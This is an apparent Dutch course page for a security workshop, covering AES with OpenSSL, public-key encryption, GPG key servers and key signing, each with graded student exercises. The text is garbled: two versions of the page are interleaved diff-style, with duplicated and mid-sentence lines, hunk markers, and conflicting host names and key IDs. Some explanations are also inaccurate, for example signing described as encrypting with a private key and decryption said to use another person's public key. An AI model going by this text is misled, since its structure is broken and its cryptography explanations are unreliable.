<img src="static/img/sym_encryptie.png"> <p>Stel, Alice wil een geheim bericht versturen naar Bob. Alice kan het bericht geheim maken door het door een encryptiealgoritme te halen. Dit neemt het bericht van Alice en een geheime sleutel als input. De sleutel is in dit geval een random string die alleen Alice weet. Het algoritme encrypt het bericht naar een gecodeerde versie. Zonder de sleutel te hebben is het onmogelijk om terug te rekenen wat het originele bericht was. Alice stuurt met een gerust hart dit gecodeerde bericht via internet delen, zonder bang te zijn dat iemand het kan lezen.</p>
<p>Alice wil het bericht aan Bob sturen, om ervoor te zorgen dat Bob het bericht kan ontcijferen heeft Alice hem de geheime <img src="static/img/sym_encryptie.png">
sleutel van tevoren gegeven. Bob kan het gecodeerde bericht samen met
<b>dezelfde</b> geheime sleutel die Alice heeft gebruikt door het bijbehorende decryptie algoritme halen om de originele data
weer terug te krijgen.</p>
<p>Bob kan op dezelfde manier ook berichten naar Alice sturen die Alice weer kan ontcijferen. Zolang de sleutel geheim blijft <p>Alice wil het bericht aan Bob sturen, om ervoor te zorgen dat Bob het bericht kan ontcijferen heeft Alice hem de geheime sleutel van tevoren gegeven. Bob kan het gecodeerde bericht samen met <b>dezelfde</b> geheime sleutel die Alice heeft gebruikt door het bijbehorende decryptie algoritme halen om de originele data weer terug te krijgen.</p>
kunnen Alice en Bob veilig met elkaar communiceren.</p>
<img src="static/img/sym_decryptie.png"> <p>Bob kan op dezelfde manier ook berichten naar Alice sturen die Alice weer kan ontcijferen. Zolang de sleutel geheim blijft kunnen Alice en Bob veilig met elkaar communiceren.</p>
<p>We kunnen met OpenSSL (zie vorige week als je dat nog niet hebt geinstalleerd) ook encrypten en decrypten met verschillende <img src="static/img/sym_decryptie.png">
soorten encryptie algoritmes. Met onderstaande commando kunnen we bijvoorbeeld een bestand ontsleutelen.</p>
<code class="terminal">openssl enc -aes-256-cbc -base64 -d -in geheim.aes256 -out nietmeergeheim.txt</code> <p>We kunnen met OpenSSL (zie vorige week als je dat nog niet hebt geinstalleerd) ook encrypten en decrypten met verschillende soorten encryptie algoritmes. Met onderstaande commando kunnen we bijvoorbeeld een bestand ontsleutelen.</p>
<p>Een hele mond vol, laten we eens kijken wat alle argumenten betekenen:</p> <code class="terminal">openssl enc -aes-256-cbc -base64 -d -in geheim.aes256 -out nietmeergeheim.txt</code>
<p>Een hele mond vol, laten we eens kijken wat alle argumenten betekenen:</p>
<ul>
<li>
<span class="argument">openssl</span> Het programma zelf</li>
<li>
<span class="argument">enc</span> Een command van OpenSSL waarmee we aangeven dat we data willen versleutelen of ontsleutelen</li>
<li>
<span class="argument">-aes-256-cbc</span> Het encryptie algoritme wat we gebruiken.
<ul> <ul>
<li> <li><span class="argument">openssl</span> Het programma zelf</li>
<b>aes</b> staat voor <li><span class="argument">enc</span> Een command van OpenSSL waarmee we aangeven dat we data willen versleutelen of ontsleutelen</li>
<a href="http://en.wikipedia.org/wiki/Advanced_Encryption_Standard" target="_blank">Advanced Encryption Standard</a>, een veel gebruikt algoritme.</li> <li><span class="argument">-aes-256-cbc</span> Het encryptie algoritme wat we gebruiken.
<li> <ul>
<b>256</b> is het aantal bits van de sleutel. OpenSSL vult je wachtwoord aan tot deze hoeveelheid bits.</li> <li><b>aes</b> staat voor <a href="http://en.wikipedia.org/wiki/Advanced_Encryption_Standard" target="_blank">Advanced Encryption Standard</a>, een veel gebruikt algoritme.</li>
<li> <li><b>256</b> is het aantal bits van de sleutel. OpenSSL vult je wachtwoord aan tot deze hoeveelheid bits.</li>
<b>cbc</b> staat voor <li><b>cbc</b> staat voor <a href="https://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29." target="_blank">Cipher-block chaining</a>. Een techniek om het lastiger te maken informatie af te leiden uit de versleutelde data.</li>
<a href="https://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29." target="_blank">Cipher-block chaining</a>. Een techniek om het lastiger te maken informatie af te leiden uit de versleutelde data.</li>
</ul> </ul>
</li> </li>
<li> <li><span class="argument">-base64</span> lees en schrijf de versleutelde data als <a href="http://en.wikipedia.org/wiki/Base64" target="_blank">base64</a>. Dit maakt bestandjes groter, maar de data ook makkelijker te knippen/plakken in mailtjes of invoervelden op websites.</li>
<span class="argument">-base64</span> lees en schrijf de versleutelde data als <li><span class="argument">-d</span> decryptie modus. Met dit argument geef je aan dat de invoer de versleutelde data is en de uitvoer de oorspronkelijke data moet zijn.
<a href="http://en.wikipedia.org/wiki/Base64" target="_blank">base64</a>. Dit maakt bestandjes groter, maar de data ook makkelijker te knippen/plakken in mailtjes of invoervelden Als je deze optie niet mee geeft zit je in encryptie modus, de invoer is dan de oorspronkelijke data en de uitvoer wordt dan de versleutelde data</li>
op websites.</li> <li><span class="argument">-in geheim.txt</span> het invoerbestand</li>
<li> <li><span class="argument">-out decrypted.txt</span> het uitvoerbestand</li>
<span class="argument">-d</span> decryptie modus. Met dit argument geef je aan dat de invoer de versleutelde data is en de uitvoer de oorspronkelijke </ul>
data moet zijn. Als je deze optie niet mee geeft zit je in encryptie modus, de invoer is dan de oorspronkelijke data
en de uitvoer wordt dan de versleutelde data</li>
<li>
<span class="argument">-in geheim.txt</span> het invoerbestand</li>
<li>
<span class="argument">-out decrypted.txt</span> het uitvoerbestand</li>
</ul>
<img src="/static/img/encryptie.jpg" class="center-block" style="margin-top: 1em; margin-bottom: 1em"> <img src="/static/img/encryptie.jpg" class="center-block" style="margin-top: 1em; margin-bottom: 1em">
<p>Een systeembeheerder heeft een geheim staan in dit <p>Een systeembeheerder heeft een geheim staan in dit <a href="/static/geheim.aes256" target="_blank">bestandje</a> wat hij met aes-256-cbc heeft versleuteld. Helaas voor hem heeft hij een niet zo hele sterke sleutel gekozen: <code>Ab12345</code>. Gebruik OpenSSL om dit bestandje te ontsleutelen.</p>
<a href="/static/geheim.aes256" target="_blank">bestandje</a> wat hij met aes-256-cbc heeft versleuteld. Helaas voor hem heeft hij een niet zo hele sterke sleutel gekozen:
<code>Ab12345</code>. Gebruik OpenSSL om dit bestandje te ontsleutelen.</p>
<div class="question"> <div class="question">
<span class="question-string">Wat is de geheime code die in dit versleutelde bestandje staat?</span> <span class="question-string">Wat is de geheime code die in dit versleutelde bestandje staat?</span>
{% include "points.html" with points=answers.answer_encryption_decrypt.points max="10" %} {% include "points.html" with points=answers.answer_encryption_decrypt.points max="10" %}
<input class="question-input" name="answer_encryption_decrypt" value="{{ answers.answer_encryption_decrypt.string }}"></input> <input class="question-input" name="answer_encryption_decrypt" value="{{ answers.answer_encryption_decrypt.string }}"></input>
</div> </div>
<p class="hint">Hint: Als je een bad decrypt error krijgt heb je waarschijnlijk een OpenSSL versie die lager is dan 1.1.0. In dat geval moet <p class="hint">Hint: Als je een bad decrypt error krijgt heb je waarschijnlijk een OpenSSL versie die lager is dan 1.1.0. In dat geval moet je de optie `-md sha256` toevoegen.</code></p>
je de optie `-md sha256` toevoegen.</code>
</p>
<div class="question"> <div class="question">
<span class="question-string">Versleutel de tekst " <span class="question-string">Versleutel de tekst "<em>Avans Hogeschool</em>" met het aes-256-cbc algoritme in base64 mode. Plak de versleutelde tekst in het tekstveld, gebruik <code>Ab12345</code> als wachtwoord.</span>
<em>Security Workshop</em>" met het aes-256-cbc algoritme in base64 mode. Plak de versleutelde tekst in het tekstveld, gebruik
<code>Ab12345</code> als wachtwoord.</span>
{% include "points.html" with points=answers.answer_encryption_encrypt.points max="10" %} {% include "points.html" with points=answers.answer_encryption_encrypt.points max="10" %}
<textarea class="question-input" name="answer_encryption_encrypt">{{ answers.answer_encryption_encrypt.string }}</textarea> <textarea class="question-input" name="answer_encryption_encrypt">{{ answers.answer_encryption_encrypt.string }}</textarea>
</div> </div>
<p class="hint">Hint: Je kan dit commando gebruiken: <p class="hint">Hint: Je kan dit commando gebruiken: <code class="terminal">openssl enc -aes-256-cbc -base64 -in avans.txt -out avansgeheim.aes256.txt</code></p>
<code class="terminal">openssl enc -aes-256-cbc -base64 -in plain.txt -out geheim.aes256.txt</code>
</p>
<h2>Asymmetrische encryptie</h2> <h2>Asymmetrische encryptie</h2>
<p>Bij symmetrische encryptie gebruiken Alice en Bob allebei dezelfde sleutel om het bestand te versleutelen en te ontsleutelen. <p>Bij symmetrische encryptie gebruiken Alice en Bob allebei dezelfde sleutel om het bestand te versleutelen en te ontsleutelen. Maar hun communicatie is alleen veilig als ze de sleutel in het geheim afspreken en zolang ze de sleutel geheim houden. Dit probleem is opgelost bij asymmetrische encryptie algoritmes, waarbij je twee sleutels gebruikt. Eén publieke en één privé sleutel.</p>
Maar hun communicatie is alleen veilig als ze de sleutel in het geheim afspreken en zolang ze de sleutel geheim houden.
Dit probleem is opgelost bij asymmetrische encryptie algoritmes, waarbij je twee sleutels gebruikt. Eén publieke en één
privé sleutel.</p>
<p>Bij een asymmetrisch encryptiealgoritme kan je niet zelf een random sleutel kiezen, deze moet je genereren met een speciaal <p>Bij een asymmetrisch encryptiealgoritme kan je niet zelf een random sleutel kiezen, deze moet je genereren met een speciaal key-generation algoritme. Deze geeft random twee sleutels terug die een opmerkelijke relatie met elkaar hebben. Om ze uit elkaar te halen noemen we ze hier de groene en de rode sleutel, maar het maakt in de praktijk niet uit welke sleutel welke is.</p>
key-generation algoritme. Deze geeft random twee sleutels terug die een opmerkelijke relatie met elkaar hebben. Om ze uit
elkaar te halen noemen we ze hier de groene en de rode sleutel, maar het maakt in de praktijk niet uit welke sleutel welke
is.
</p>
<img src="static/img/sleutels_genereren.png"> <img src="static/img/sleutels_genereren.png">
<p>Om een bestandje te versleutelen nemen we bijvoorbeeld de groene sleutel en gebruiken we die om het bestandje te versleutelen. <p>Om een bestandje te versleutelen nemen we bijvoorbeeld de groene sleutel en gebruiken we die om het bestandje te versleutelen. Maar we kunnen het bestand nu niet meer ontsleutelen met de groene sleutel. <b>Met alleen de bijbehorende rode sleutel kan je nu het bestand ontsleutelen</b>. Andersom werkt ook, bestanden die je met de rode sleutel versleuteld, zijn enkel en alleen met de groene sleutel te ontsleutelen.</p>
Maar we kunnen het bestand nu niet meer ontsleutelen met de groene sleutel.
<b>Met alleen de bijbehorende rode sleutel kan je nu het bestand ontsleutelen</b>. Andersom werkt ook, bestanden die je met
de rode sleutel versleuteld, zijn enkel en alleen met de groene sleutel te ontsleutelen.</p>
<img src="static/img/asym_encryptie.png"> <img src="static/img/asym_encryptie.png">
<p>Dit lijkt allemaal wat omslachtig en onhandig, en asymmetrische encryptie is ook nog eens honderden keren langzamer dan symmetrische <p>Dit lijkt allemaal wat omslachtig en onhandig, en asymmetrische encryptie is ook nog eens honderden keren langzamer dan symmetrische encryptie. Waarom zouden we dit gebruiken?</p>
encryptie. Waarom zouden we dit gebruiken?</p>
<p>Asymmetrische encryptie vormt de basis van het public-private key systeem. Nadat we een sleutel-paartje hebben gegenereerd <p>Asymmetrische encryptie vormt de basis van het public-private key systeem. Nadat we een sleutel-paartje hebben gegenereerd geven we één sleutel weg aan alles en iedereen, dat is de publieke sleutel die iedereen kan gebruiken. De andere bijbehorende sleutel bewaren we op de geheimste plek die je maar kan bedenken en geef je onder geen enkele omstandigheid aan iemand anders.</p>
geven we één sleutel weg aan alles en iedereen, dat is de publieke sleutel die iedereen kan gebruiken. De andere bijbehorende
sleutel bewaren we op de geheimste plek die je maar kan bedenken en geef je onder geen enkele omstandigheid aan iemand
anders.
</p>
<img src="static/img/publicprivatekey.png"> <img src="static/img/publicprivatekey.png">
<p>Als Alice nu een geheim bericht aan Bob wil versturen kan ze dit versleutelen door gebruik te maken van Bob's publieke sleutel. <p>Als Alice nu een geheim bericht aan Bob wil versturen kan ze dit versleutelen door gebruik te maken van Bob's publieke sleutel. Het versleutelde bericht is enkel en alleen te ontsleutelen met Bob's bijbehorende private sleutel. Alice weet dus zeker dat alleen Bob het kan lezen.</p>
Het versleutelde bericht is enkel en alleen te ontsleutelen met Bob's bijbehorende private sleutel. Alice weet dus zeker
dat alleen Bob het kan lezen.</p>
<img src="static/img/asym_alicebob.png"> <img src="static/img/asym_alicebob.png">
<p>Als Alice het bericht met haar private key zou versleutelen ontstaat er een andere interessante eigenschap: Iedereen kan <p>Als Alice het bericht met haar private key zou versleutelen ontstaat er een andere interessante eigenschap: Iedereen kan het bericht ontsleutelen, dat is te doen met de bijbehorende publieke sleutel. Maar je weet dan wel zeker dat het bericht van Alice afkomstig is, want alleen zij heeft de private sleutel waarmee het bericht in de eerste plaats versleuteld is.
het bericht ontsleutelen, dat is te doen met de bijbehorende publieke sleutel. Maar je weet dan wel zeker dat het bericht
van Alice afkomstig is, want alleen zij heeft de private sleutel waarmee het bericht in de eerste plaats versleuteld is.
<div class="question"> <div class="question">
@@ -145,30 +94,24 @@
<li>Alleen Bob kan het bericht lezen</li> <li>Alleen Bob kan het bericht lezen</li>
<li>Bob weet zeker dat het bericht van Alice is</li> <li>Bob weet zeker dat het bericht van Alice is</li>
</ol> </ol>
Leg uit in welke volgorde Alice en Bob encrypten, decrypten en versturen en met welke sleutels. Je mag er van uit gaan dat Leg uit in welke volgorde Alice en Bob encrypten, decrypten en versturen en met welke sleutels. Je mag er van uit gaan dat ze elkaars publieke sleutel weten en dat Bob niet de enige is met Alice's publieke sleutel.
ze elkaars publieke sleutel weten en dat Bob niet de enige is met Alice's publieke sleutel.
</span> </span>
{% include "points.html" with points=answers.answer_encryption_securesend.points max="10" %} {% include "points.html" with points=answers.answer_encryption_securesend.points max="10" %}
<textarea class="question-input" name="answer_encryption_securesend">{{ answers.answer_encryption_securesend.string }}</textarea> <textarea class="question-input" name="answer_encryption_securesend">{{ answers.answer_encryption_securesend.string }}</textarea>
</div> </div>
<p class="hint"> <p class="hint"><strong>Hint:</strong> het is natuurlijk mogelijk om een versleuteld bericht nog een keer te versleutelen.</p>
<strong>Hint:</strong> het is natuurlijk mogelijk om een versleuteld bericht nog een keer te versleutelen.</p>
<img src="static/img/whatsapp.png" class="screenshot center-block" style="width: 70%"> <img src="static/img/whatsapp.png" class="screenshot center-block" style="width: 70%">
<p>WhatsApp beweert dat alle berichten end-to-end versleuteld verstuurd worden. Daarmee zou niemand de berichten kunnen lezen <p>WhatsApp beweert dat alle berichten end-to-end versleuteld verstuurd worden. Daarmee zou niemand de berichten kunnen lezen die via hun servers verstuurd worden, zelfs zij zelf niet. Alleen de afzender en de ontvanger kunnen de berichten lezen.</p>
die via hun servers verstuurd worden, zelfs zij zelf niet. Alleen de afzender en de ontvanger kunnen de berichten lezen.</p>
<p>Om dat te controleren kan je bij de contactinformatie van elke chat klikken op 'Encryptie', je krijgt dan een QR code en <p>Om dat te controleren kan je bij de contactinformatie van elke chat klikken op 'Encryptie', je krijgt dan een QR code en een lijst van cijfers. Als de cijfers allemaal hetzelfde zijn zou je zeker moeten weten dat berichtjes alleen door jou en de andere persoon gelezen kunnen worden.</p>
een lijst van cijfers. Als de cijfers allemaal hetzelfde zijn zou je zeker moeten weten dat berichtjes alleen door jou
en de andere persoon gelezen kunnen worden.</p>
<img src="static/img/whatsapp_qr.png" class="screenshot center-block" style="width: 50%"> <img src="static/img/whatsapp_qr.png" class="screenshot center-block" style="width: 50%">
<div class="question"> <div class="question">
<span class="question-string">Zoek op internet welke informatie er in de QR code staat. Hoe kan WhatsApp met die informatie garanderen dat alleen jullie <span class="question-string">Zoek op internet welke informatie er in de QR code staat. Hoe kan WhatsApp met die informatie garanderen dat alleen jullie twee de chat kan lezen?</span>
twee de chat kan lezen?</span>
{% include "points.html" with points=answers.answer_encryption_whatsapp.points max="10" %} {% include "points.html" with points=answers.answer_encryption_whatsapp.points max="10" %}
<textarea class="question-input" name="answer_encryption_whatsapp">{{ answers.answer_encryption_whatsapp.string }}</textarea> <textarea class="question-input" name="answer_encryption_whatsapp">{{ answers.answer_encryption_whatsapp.string }}</textarea>
</div> </div>
@@ -176,57 +119,31 @@
<h2>GPG</h2> <h2>GPG</h2>
<p>Genoeg theorie, we gaan aan de slag met concrete encryptiealgoritmes. En wel met de <p>Genoeg theorie, we gaan aan de slag met concrete encryptiealgoritmes. En wel met de <a href="http://en.wikipedia.org/wiki/Pretty_Good_Privacy#OpenPGP" target="_blank">OpenPGP</a> (Pretty Good Privacy) standaard. Een veel gebruikt open source programma die deze standaard implementeert is <a href="http://en.wikipedia.org/wiki/GNU_Privacy_Guard" target="_blank">GPG</a> (GNU Privacy Guard). Met dit programma kunnen we sleutelparen maken, bestanden encrypten/decrypten en versleutelde berichten versturen.</p>
<a href="http://en.wikipedia.org/wiki/Pretty_Good_Privacy#OpenPGP" target="_blank">OpenPGP</a> (Pretty Good Privacy) standaard. Een veel gebruikt open source programma die deze standaard implementeert
is
<a href="http://en.wikipedia.org/wiki/GNU_Privacy_Guard" target="_blank">GPG</a> (GNU Privacy Guard). Met dit programma kunnen we sleutelparen maken, bestanden encrypten/decrypten en versleutelde
berichten versturen.</p>
<p>Om het makkelijker te maken om publieke sleutels uit te wisselen kan GPG gebruik maken van een <p>Om het makkelijker te maken om publieke sleutels uit te wisselen kan GPG gebruik maken van een <b>keyserver</b>. Dit is een speciale server die een lijst van publieke sleutels bijhoud. Voor onderstaande opdrachten hebben we onze eigen keyserver ingericht op sec1.aii.avans.nl. <b>Deze werkt niet als je de opdrachten thuis maakt</b>. De Avans firewall blokkeert poort 11371 waarop deze server werkt. Als je thuis de opdrachten wilt maken kan je het beste <a href="https://vmview-1.aii.avans.nl/" target="_blank">inloggen</a> op een PANO-box VM. Daar werkt het wel.</p>
<b>keyserver</b>. Dit is een speciale server die een lijst van publieke sleutels bijhoud. Voor onderstaande opdrachten hebben
we onze eigen keyserver ingericht op websec.paulwagener.nl.
<b>Deze werkt niet als je de opdrachten thuis maakt</b>. De firewall blokkeert poort 11371 waarop deze server werkt.</p>
<p>GPG kan je <p>GPG kan je <a href="http://www.gpg4win.org/" target="_blank">hier</a> voor Windows downloaden, na het installeren kan je in je CMD alle commando's typen. Als je Linux of Mac OS X gebruikt hoef je niks te doen, GPG is standaard geïnstalleerd.</p>
<a href="http://www.gpg4win.org/" target="_blank">hier</a> voor Windows downloaden, na het installeren kan je in je CMD alle commando's typen. Als je Linux of Mac OS X
gebruikt hoef je niks te doen, GPG is standaard geïnstalleerd.</p>
<img src="static/img/gpg.png"> <img src="static/img/gpg.png">
<code class="terminal">gpg --help</code> <code class="terminal">gpg --help</code>
<p>Met bovenstaande commando zie je alle dingen die je met GPG kan doen. We gaan niet meer alle commando's voorkauwen, je <p>Met bovenstaande commando zie je alle dingen die je met GPG kan doen. We gaan niet meer alle commando's voorkauwen, je bent inmiddels handig genoeg om die zelf te bedenken. Een paar handige opties om te onthouden:</p>
bent inmiddels handig genoeg om die zelf te bedenken. Een paar handige opties om te onthouden:</p>
<ul> <ul>
<li> <li><b>--gen-key</b> Maak een nieuw publiek/private sleutelpaar.</li>
<b>--gen-key</b> Maak een nieuw publiek/private sleutelpaar.</li> <li><b>--list-keys</b> Bekijk alle sleutels die je lokaal hebt.</li>
<li> <li><b>--sign</b> Gebruik je eigen private sleutel gebruiken om een bestand te encrypten.</li>
<b>--list-keys</b> Bekijk alle sleutels die je lokaal hebt.</li> <li><b>--decrypt</b> Gebruik iemand anders publieke sleutel om een bestand te decrypten.</li>
<li> <li><b>--encrypt</b> Gebruik iemand anders publieke sleutel om een bestand te encrypten.</li>
<b>--sign</b> Gebruik je eigen private sleutel gebruiken om een bestand te encrypten.</li> <li><b>--recv-keys --keyserver sec1.aii.avans.nl <i>sleutel-ID</i></b> Haal een publieke sleutel op van de onze keyserver</li>
<li> <li><b>--send-keys --keyserver sec1.aii.avans.nl <i>sleutel-ID</i></b> Verstuur een publieke sleutel naar onze keyserver</li>
<b>--decrypt</b> Gebruik iemand anders publieke sleutel om een bestand te decrypten.</li> <li><b>--sign-key</b> Signeer een publieke sleutel met jouw eigen private sleutel</li>
<li> <li><b>-a</b> Output in ASCII base64 formaat</li>
<b>--encrypt</b> Gebruik iemand anders publieke sleutel om een bestand te encrypten.</li>
<li>
<b>--recv-keys --keyserver websec.paulwagener.nl
<i>sleutel-ID</i>
</b> Haal een publieke sleutel op van de onze keyserver</li>
<li>
<b>--send-keys --keyserver websec.paulwagener.nl
<i>sleutel-ID</i>
</b> Verstuur een publieke sleutel naar onze keyserver</li>
<li>
<b>--sign-key</b> Signeer een publieke sleutel met jouw eigen private sleutel</li>
<li>
<b>-a</b> Output in ASCII base64 formaat</li>
<p> <p>
<p>Haal van de keyserver onze publieke sleutel op met sleutel-ID <p>Haal van de keyserver onze publieke sleutel op met sleutel-ID <b>B69F77232CE5546445137725D555F2F5FA9E1C5A</b> (GPG noemt dit ook wel de user-ID). We hebben met onze private sleutel een tekst versleuteld in <a href="static/secret.txt.asc" target="_blank">dit bestand</a>. Gebruik de publieke sleutel om dit bestand te ontsleutelen.</p>
<b>D4CCE6DA0374A1B1EC8D8B5005CCA14870CE34A9</b> (GPG noemt dit ook wel de user-ID). We hebben met onze private sleutel
een tekst versleuteld in
<a href="static/secret.txt.asc" target="_blank">dit bestand</a>. Gebruik de publieke sleutel om dit bestand te ontsleutelen.</p>
<div class="question"> <div class="question">
<span class="question-string">Welke zin hebben we versleuteld?</span> <span class="question-string">Welke zin hebben we versleuteld?</span>
@@ -234,81 +151,72 @@
<input class="question-input" name="answer_encryption_decrypt_public_key" value="{{ answers.answer_encryption_decrypt_public_key.string }}"> <input class="question-input" name="answer_encryption_decrypt_public_key" value="{{ answers.answer_encryption_decrypt_public_key.string }}">
</div> </div>
<p>Gebruik onze publieke sleutel om zelf een tekstbestandje te versleutelen. Zorg ervoor dat ergens in de tekst van dit <p>Gebruik onze publieke sleutel om zelf een tekstbestandje te versleutelen. Zorg ervoor dat ergens in de tekst van dit bestandje de geheime code "555-0690" en je Avans e-mailadres staat.</p>
bestandje de geheime code "555-0690" en je e-mailadres staat.</p>
<div class="question"> <div class="question">
<span class="question-string">Plak de inhoud van het versleutelde bestand (inclusief begin en einde <span class="question-string">Plak de inhoud van het versleutelde bestand (inclusief begin en einde <code>-----BEGIN PGP MESSAGE-----</code>)</span>
<code>-----BEGIN PGP MESSAGE-----</code>)</span>
{% include "points.html" with points=answers.answer_encryption_encrypt_public_key.points max="5" %} {% include "points.html" with points=answers.answer_encryption_encrypt_public_key.points max="5" %}
<textarea class="question-input" name="answer_encryption_encrypt_public_key">{{ answers.answer_encryption_encrypt_public_key.string }}</textarea> <textarea class="question-input" name="answer_encryption_encrypt_public_key">{{ answers.answer_encryption_encrypt_public_key.string }}</textarea>
</div> </div>
<p class="hint"> <p class="hint"><strong>Hint:</strong> Het is met GPG mogelijk om meerdere ontvangers op te geven. Dat hoeft voor deze opdracht niet. Als je alle (1 dus) ontvangers hebt opgegeven moet je een lege regel opgeven om aan te geven dat je verder wil gaan.</p>
<strong>Hint:</strong> Het is met GPG mogelijk om meerdere ontvangers op te geven. Dat hoeft voor deze opdracht niet. Als
je alle (1 dus) ontvangers hebt opgegeven moet je een lege regel opgeven om aan te geven dat je verder wil gaan.</p>
<p class="hint"> <p class="hint"><strong>Hint:</strong> Gebruik onze sleutel-ID (ook wel user-id) die we eerder al hebben genoemd.</p>
<strong>Hint:</strong> Gebruik onze sleutel-ID (ook wel user-id) die we eerder al hebben genoemd.</p>
<p class="hint"> <p class="hint"><strong>Hint:</strong> Krijg je een binair bestand? Dan ben je waarschijnlijk vergeten om de ASCII base64 optie aan te zetten (zie lijst van opties hierboven)</p>
<strong>Hint:</strong> Krijg je een binair bestand? Dan ben je waarschijnlijk vergeten om de ASCII base64 optie aan te zetten
(zie lijst van opties hierboven)</p>
<p>Tijd om je eigen sleutels te gebruiken! Maak je eigen publieke/private sleutelpaar en verstuur de publieke sleutel <p>Tijd om je eigen sleutels te gebruiken! Maak je eigen publieke/private sleutelpaar en verstuur de publieke sleutel naar de sec1.aii.avans.nl keyserver. <b>Gebruik je Avans e-mailadres voor het e-mailveld</b>.</p>
naar de websec.paulwagener.nl keyserver.
<b>Gebruik je e-mailadres voor het e-mailveld</b>.</p>
<p>Vergeet niet om je publieke sleutel naar de websec.paulwagener.nl keyserver te sturen zodat anderen die kunnen opzoeken <p>Vergeet niet om je publieke sleutel naar de sec1.aii.avans.nl keyserver te sturen zodat anderen die kunnen opzoeken en geheime berichten naar je kunnen sturen (en zodat wij de opdrachten kunnen nakijken, anders krijg je de punten voor onderstaande opdracht niet!)</p>
en geheime berichten naar je kunnen sturen (en zodat wij de opdrachten kunnen nakijken, anders krijg je de punten
voor onderstaande opdracht niet!)</p>
<div class="question"> <div class="question">
<span class="question-string">Versleutel een bestandje met de tekst "Security 2" met je eigen private sleutel. Plak de versleutelde tekst in het <span class="question-string">Versleutel een bestandje met de tekst "Security 2" met je eigen private sleutel. Plak de versleutelde tekst in het tekstveld (inclusief begin en einde <code>-----BEGIN PGP MESSAGE-----</code>)</span>
tekstveld (inclusief begin en einde
<code>-----BEGIN PGP MESSAGE-----</code>)</span>
{% include "points.html" with points=answers.answer_encryption_encrypt_with_own_private.points max="5" %} {% include "points.html" with points=answers.answer_encryption_encrypt_with_own_private.points max="5" %}
<textarea class="question-input" name="answer_encryption_encrypt_with_own_private">{{ answers.answer_encryption_encrypt_with_own_private.string }}</textarea> <textarea class="question-input" name="answer_encryption_encrypt_with_own_private">{{ answers.answer_encryption_encrypt_with_own_private.string }}</textarea>
</div> </div>
<h3>Web of Trust</h3> <h3>Web of Trust</h3>
<p>Probleempje: elke mafketel kan sleutels aanmaken en daar elke naam bij zetten die hij maar wil. Hoe zorgen we ervoor <p>Probleempje: elke mafketel kan sleutels aanmaken en daar elke naam bij zetten die hij maar wil. Hoe zorgen we ervoor dat de naam en e-mailadres die bij een sleutel staan ook echt klopt? Dit probleem heeft GPG opgelost door het mogelijk te maken om met jouw private sleutel een <b>handtekening</b> (signature) te maken voor een publieke sleutel van iemand anders. Je geeft daarmee aan dat je gecontroleerd hebt dat de naam die bij een sleutel staat klopt en dat je die persoon vertrouwd.</p>
dat de naam en e-mailadres die bij een sleutel staan ook echt klopt? Dit probleem heeft GPG opgelost door het mogelijk
te maken om met jouw private sleutel een
<b>handtekening</b> (signature) te maken voor een publieke sleutel van iemand anders. Je geeft daarmee aan dat je gecontroleerd
hebt dat de naam die bij een sleutel staat klopt en dat je die persoon vertrouwd.</p>
<p>Op die manier ontstaat er een web van vertrouwensrelaties. En als jij Tony vertrouwd, en Tony vertrouwd Steve. Dan <p>Op die manier ontstaat er een web van vertrouwensrelaties. En als jij Tony vertrouwd, en Tony vertrouwd Steve. Dan kan je indirect ervan uitgaan dat de naam van de sleutel van Steve klopt. Op die manier kan je indirect een hele hoop sleutels vertrouwen. Op onze keyserver zie je bijvoorbeeld <a href="http://sec1.aii.avans.nl:11371/pks/lookup?op=vindex&search=0XB69F77232CE5546445137725D555F2F5FA9E1C5A" target="_blank">wie er allemaal direct onze sleutel vertrouwd.</a></p>
kan je indirect ervan uitgaan dat de naam van de sleutel van Steve klopt. Op die manier kan je indirect een hele
hoop sleutels vertrouwen. Op onze keyserver zie je bijvoorbeeld
<a href="http://websec.paulwagener.nl:11371/pks/lookup?op=vindex&search=0XD4CCE6DA0374A1B1EC8D8B5005CCA14870CE34A9" target="_blank">wie er allemaal direct onze sleutel vertrouwd.</a>
</p>
<img src="static/img/web_of_trust.gif"> <img src="static/img/web_of_trust.gif">
<p>Als je je eigen sleutel wil gebruiken om andere sleutels te ondertekenen/vertrouwen doe je dat door eerst een publieke <p>Als je je eigen sleutel wil gebruiken om andere sleutels te ondertekenen/vertrouwen doe je dat door eerst een publieke sleutel te downloaden van de keyserver, dan deze lokaal te ondertekenen met je eigen sleutel en vervolgens de publieke sleutel weer opnieuw te versturen naar de keyserver.</p>
sleutel te downloaden van de keyserver, dan deze lokaal te ondertekenen met je eigen sleutel en vervolgens de publieke
sleutel weer opnieuw te versturen naar de keyserver.</p>
<div class="question"> <div class="question">
<span class="question-string">Gebruik je eigen sleutel om onze sleutel (sleutel-ID: D4CCE6DA0374A1B1EC8D8B5005CCA14870CE34A9) en de sleutel van <span class="question-string">Gebruik je eigen sleutel om onze sleutel (sleutel-ID: B69F77232CE5546445137725D555F2F5FA9E1C5A) en de sleutel van drie medestudenten te ondertekenen. Upload je ondertekening terug naar de keyserver. Plak je eigen sleutel-ID als antwoord hier.</span>
drie medestudenten te ondertekenen. Upload je ondertekening terug naar de keyserver. Plak je eigen sleutel-ID als
antwoord hier.</span>
{% include "points.html" with points=answers.answer_encryption_sign_keys.points max="5" %} {% include "points.html" with points=answers.answer_encryption_sign_keys.points max="5" %}
<input class="question-input" name="answer_encryption_sign_keys" value="{{ answers.answer_encryption_sign_keys.string }}"> <input class="question-input" name="answer_encryption_sign_keys" value="{{ answers.answer_encryption_sign_keys.string }}">
</div> </div>
<p class="hint"> <p class="hint"><strong>Hint:</strong> Handtekeningen worden pas verstuurd als je de sleutel die je hebt ondertekend weer terugstuurt naar de server.</p>
<strong>Hint:</strong> Handtekeningen worden pas verstuurd als je de sleutel die je hebt ondertekend weer terugstuurt naar
de server.</p>
<p>Heb je de smaak te pakken? Dan kan je je eigen publieke sleutel ook doorsturen naar andere <p>Heb je de smaak te pakken? Dan kan je je eigen publieke sleutel ook doorsturen naar andere <a href="http://en.wikipedia.org/wiki/Key_server_%28cryptographic%29" target="_blank">keyservers</a> en laten ondertekenen bij hippe <a href="http://en.wikipedia.org/wiki/Key_signing_party" target="_blank">key signing parties</a>.</p>
<a href="http://en.wikipedia.org/wiki/Key_server_%28cryptographic%29" target="_blank">keyservers</a> en laten ondertekenen bij hippe
<a href="http://en.wikipedia.org/wiki/Key_signing_party" target="_blank">key signing parties</a>.</p>
